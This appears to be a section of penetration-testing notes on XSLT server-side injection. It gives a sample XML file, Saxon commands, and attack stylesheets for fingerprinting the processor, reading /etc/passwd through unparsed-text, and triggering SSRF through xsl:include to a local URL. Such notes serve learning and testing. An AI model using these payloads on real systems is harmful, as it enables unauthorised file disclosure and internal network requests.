5.4 Extensible stylesheet Language Transformations (XSLT)
Extensible Stylesheet Language Transformations (XSLT) is an XML-based language usually used when transforming XML documents into HTML, another XML document, or PDF. Extensible Stylesheet Language Transformations Server-Side Injection can occur when arbitrary XSLT file upload is possible or when an application generates the XSL Transformation’s XML document dynamically using unvalidated input from the user.
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
Software Install
$ sudo apt install default-jdk libsaxon-java libsaxonb-java
Target file
catalogue.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
<country>USA</country>
<company>Columbia</company>
<price>10.90</price>
<year>1985</year>
</cd>
</catalog>
transformation.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>Artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Execution
$ saxonb-xslt -xsl:transformation.xsl catalogue.xml
dectection.xsl
Detect underlying processor
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<h2>XSLT identification</h2>
<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
</xsl:template>
</xsl:stylesheet>
####################3
Execute
$ saxonb-xslt -xsl:detection.xsl catalogue.xml
Readfile.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
###################################3
$ saxonb-xslt -xsl:readfile.xsl catalogue.xml
ssrf.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:5000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
####################################
$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml
$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml
fingerprinting.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
################################
$ saxonb-xslt -xsl:fingerprinting.xsl catalogue.xml